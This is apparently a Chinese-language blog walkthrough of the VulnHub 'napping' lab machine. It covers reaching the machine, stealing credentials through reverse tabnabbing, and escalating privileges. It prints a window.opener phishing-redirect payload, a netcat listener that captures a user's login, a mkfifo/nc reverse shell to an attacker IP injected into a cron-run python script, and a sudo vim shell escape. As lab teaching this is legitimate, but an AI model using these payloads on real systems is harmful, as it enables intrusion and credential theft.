当前位置: 首页 > news >正文

napping靶机教程(超详细讲解)

第一步搭建环境

下载地址:https://download.vulnhub.com/napping/napping-1.0.1.ova

下载完成后,直接用VM打开,

这样的话点一下重试就好了。

 然后右击虚拟机设置网络连接改成nat模式

第二步信息收集 

然后做上角编辑,虚拟网络编辑器看一下自己是哪个网段

 然后打开我们的kali,使用nmap工具扫一下它的具体IP,注意这里kali也必须是nat模式。

nmap 192.168.109.1/24

发现没有扫到。这里我们的操作是没有任何问题的,考虑应该是靶机网卡配置的问题,一般靶机都会有这个问题。

我们先把靶机关机。

然后,开机长按shift建,(注意手速一定要快)然后按e键进入修改界面找到 ro ******** 这一部分,可能有所差异,如果ro后面有字符 则直接在后面添加 rw single init=/bin/bash 如果没有字符则直接将ro改为 rw single init=/bin/bash。

ctrl+x保存

再按e修改网络配置文件 /etc/network/interfaces 文件(没有的话去/etc/netplan目录下的yaml文件),如果/输不出来就一级级目录跳转。将里面的内容修改为下图所示。然后重启虚拟机。

重启,我们再去用kali的nmap工具扫描一下

这下我们正常的扫到了靶机的IP,注意大部分靶机扫不到IP都是网卡配置的问题,所以网卡配置这里一定要学会。

然后我们去访问我们的靶机

 第三步web渗透

这里给了一个登录框,并且还给了我们一个注册账号功能。我先注册登录一下,看看有什么东西可以利用。

可以看到这个是一个博客推广网站,有这个提交链接功能,我们先随便提交一个链接,看看他的功能到底是什么。然后再找出他有什么漏洞。

 这里我是测试,随便输入了一个百度网址,提交完了以后,他多了一个Here按钮,点一下直接跳到了我们的输入的响应页面

既然他会跳转页面的话,我们就可以写一个钓鱼页面,让他跳转到我们是页面上。原理如下;

我们到kali里写一个b.html文件内容如下;其中里面的IP地址为你的kali的ip

<!DOCTYPE html>
<html>
<body><script>if(window.opener) window.opener.parent.location.replace('http://192.168.109.128:7777/a.html');if(window.opener  != window) window.opener.parent.location.replace('http://192.168.109.128:7777/a.html');</script>
</body>
</html>
  • 这段代码的目的是:​​如果当前页面是被另一个页面(比如浏览器新标签页或弹出窗口)打开的,就强行把那个“父页面”的网址改掉​​,让它跳转到一个攻击者控制的恶意网站(http://192.168.109.128:7777/a.html)。
  • ​​攻击者的目标​​:让用户以为自己还在原来的网站(比如社交平台),但实际上已经被骗到了钓鱼网站。

关键概念解析​​

​​(1) window.opener 是什么?​​

  • 当你通过以下方式打开一个新页面时:
    • 点击一个链接:<a href="新页面.html" target="_blank">(新标签页打开)
    • 或用 JavaScript:window.open("新页面.html")
  • ​​新页面(子页面)​​ 可以通过 window.opener 访问​​打开它的那个页面(父页面)​​的 window 对象。
  • ​​这意味着子页面可以操控父页面的行为​​,比如修改它的网址、读取它的内容(如果没防护)。

​​(2) window.opener.parent.location.replace() 是什么?​​

  • window.opener:子页面访问父页面的 window 对象。
  • parent.location.replace():修改父页面的网址(类似 window.location.replace(),但 parent 通常用于 iframe 嵌套场景)。
  • ​​这里可能是混淆写法​​,因为 window.opener 本身已经是父页面的 window 对象,直接 window.opener.location.replace() 更常见。

​​(3) if(window.opener != window) 的作用​​

  • 检查当前页面是否是通过 window.open() 或 <a target="_blank"> 打开的(即 window.opener 存在且不等于自身)。
  • 如果是,则执行 URL 替换。

然后我们再创建一个a.html,内容如下;

<html><body>aaaaaa</body>
</html>

 尽量把这两个文件,创建在一个好找的目录下,推荐是根目录

kali开启7777端口监听

nc -lvp 7777

 

然后用python开启一个临时的http服务,目的是让网站能访问到(注意开这个的时候,监听不要动,再开一个窗口)

python3 -m http.server 8000

然后去靶机那个功能那里,让他跳转我们的页面

http://192.168.109.128:8000/b.html

提交的时候有的靶机会卡,稍等一会。

 

可以看到咱们监听的端口,监听到了daniel和它的密码

 密码这里需要url解码一下

这里我们知道了账号和密码然后我们使用ssh服务连接一下,可以用连接工具连一下

 咱们去翻找一下发现咱们的权限还是普通用户,再认真翻找一下

第四步提权

发现一个python脚本,这个脚本又打开了一个site_status.txt文件,每两分钟执行一次

然后我们用vim再里面查一条语句来反弹shell

先把刚才kali监听打开

import osos.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.109.128 7777 >/tmp/f")

 等两分钟

kali弹出shell后用下面命令提权

sudo vim -c ':!/bin/bash'
http://www.dtcms.com/a/303803.html

相关文章:

  • Leetcode-3152 特殊数组 II
  • TCPDump实战手册:协议/端口/IP过滤与组合分析指南
  • 【Java面试题】面向对象
  • 站点到站点-主模式
  • 【C++基础】函数调用约定(x86/ARM 差异对比):面试高频考点与真题解析
  • 面试遇到的问题3
  • java String类
  • 打印机错误0x0000011B,0x00000709,0x00000BCD,修复工具下载。
  • ElasticSearch 的3种数据迁移方案
  • Nginx安装流程
  • Vue.js 指令系统完全指南:深入理解 v- 指令
  • 递归推理树(RR-Tree)系统:构建认知推理的骨架结构
  • 【C++】1. C++基础知识
  • 传媒行业视频制作:物理服务器租用是隐藏的效率引擎
  • 【Golang】Go语言Map数据类型
  • Qt 并行计算框架与应用
  • 【go】语言的匿名变量如何定义与使用
  • TDengine 中 TDgpt 异常检测的机器学习算法
  • spring data mongodb 入门使用手册
  • [Linux入门] Linux 部署本地 APT 仓库及 NFS 共享服务全攻略
  • Java -- String类-StringBuffer类-StringBuilder类
  • uniapp开发微信小程序(新旧版本对比:授权手机号登录、授权头像和昵称)
  • K-近邻算法(KNN算法)的K值的选取--交叉验证+网格搜索
  • 搭建专属AI聊天网站:NextChat + 蓝耘MaaS平台完整部署指南
  • 2025年7月技术问答第4期
  • 树形结构递归查询与嵌套结构转换:Flask + PostgreSQL 完整实现
  • 力扣面试150题--位1的个数
  • 【第四章自定义编辑器窗口_扩展默认的编辑器窗口_扩展Hierarchy窗口(7/11)】
  • QT项目 -仿QQ音乐的音乐播放器(第三节)
  • 深入理解 Qt 元对象系统 (Meta-Object System)